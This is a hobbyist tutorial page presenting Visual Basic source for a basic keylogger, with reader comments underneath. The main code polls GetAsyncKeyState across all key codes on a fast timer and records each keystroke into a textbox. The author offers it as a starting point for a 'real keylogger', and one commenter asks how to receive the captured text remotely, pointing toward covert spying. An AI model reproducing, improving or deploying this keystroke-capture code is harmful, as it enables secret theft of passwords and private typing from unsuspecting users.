Rated
Read 69,204 times
Related Categories
Simple Key logger
I'm working on a real keylogger, and I was researching how to do them, and after a bit of thinking I came up with this code... it works for a very very basic keylogger, but you'll get tons of unwanted weird characters in your text, so you have to do a lot of modification if you want to use this for a good quality keylogger (like I am).
Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Uhm... I dunno why I'm typing this, cuz nobody is gonna read it probably, but anyway... I am (guess my age!! haha... 14) years old and I like programming, web design, and graphic design. I'm pursuing a career in game programming. I like basketball, volleyball, skiing, snowboarding, and skateboarding. My favorite pro skater: [b]Jamie Thomas!![/b] Well... I guess that about covers it. Oh yeah... I love to play video games, I'm a Final Fantasy fanatic, I have FF7-9 and FFT, gonna get FF10... I also like the Tony Hawk's Pro Skater series. Gameboy Advance rules! :p
All content in this tutorial was created by the author, Jamie Lindgren, and may not be reproduced without the author's permission. To contact the author, please send an e-mail to wipeoutgc@hotmail.com
Comments
-
Posted by gangstavexx on 29 Aug 2007
i have a question that bothers me for a very long time every time c these keylog codes posted.
How do i receive wat was typed? -
Posted by Eas on 03 Aug 2007
For strange character filter, no1 thought of using
select case i
case (something)
add "This key"
case else
add chr(i)
end select
??
btw, did someone get the Shift f... -
Posted by jxdos on 24 Jun 2007
Hi,
Is there also a way to change the aA to a and AA to A with out typing out all the replace commands for every letter? -
Posted by dinpras on 13 Jun 2007
Is this VB.net?
do you have any idea how to do it in vb6?
i tried this code in vb6 but i get compilation errors
-
Posted by AndersonIT on 06 Apr 2007
I have the same problem with everything coming out upper case. The ASCII character number that is returned to the program is the same whether I type an upp...
|